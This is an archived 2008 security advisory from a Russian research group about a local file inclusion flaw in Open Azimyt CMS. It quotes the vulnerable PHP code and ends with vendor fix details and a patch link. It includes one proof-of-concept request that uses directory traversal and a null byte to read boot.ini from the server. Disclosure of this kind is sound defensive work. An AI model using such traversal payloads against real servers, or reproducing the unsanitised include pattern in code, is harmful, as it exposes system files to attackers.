[DSECRG-08-026] LFI in Open Azimyt CMS 0.22

2008-06-16T00:00:00
ID SECURITYVULNS:DOC:20046
Type securityvulns
Reporter Securityvulns
Modified 2008-06-16T00:00:00

Description

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-026

Application: Open Azimyt CMS Versions Affected: 0.22 minimal, 0.21 stable Vendor URL: http://azimyt.net/ Bug: Local File Include Exploits: YES Reported: 07.06.2008 Vendor Response: 08.06.2008 Solution: YES Date of Public Advisory: 16.06.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description


Local File Include vulnerability found in script azimyt/lang/lang-system.php

Code


if(isset($_GET['lang'])){ $_SESSION['lang']=$_GET['lang']; }

if(!isset($_SESSION['lang'])){ $_SESSION['lang'] = "second"; }

if (isset($_SESSION['lang'])) { $SystemLangFile = $CFG->admin_folder."/lang/lang-system-".$_SESSION['lang'].".php"; if(!file_exists($SystemLangFile)) exit(ErrorLang::LangFile_not_load); require($SystemLangFile); }

Example:

http://[server]/[installdir]/azimyt/lang/lang-system.php?lang=../../../../../../../../../../../../../boot.ini%00

Fix Information


Vendor fixed this flaw on 10.06.2008. Patch can be downloaded here:

http://open-azimyt-cms.googlecode.com/files/security_patch.zip

About


Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports,

advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)

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Digital Security Research Group

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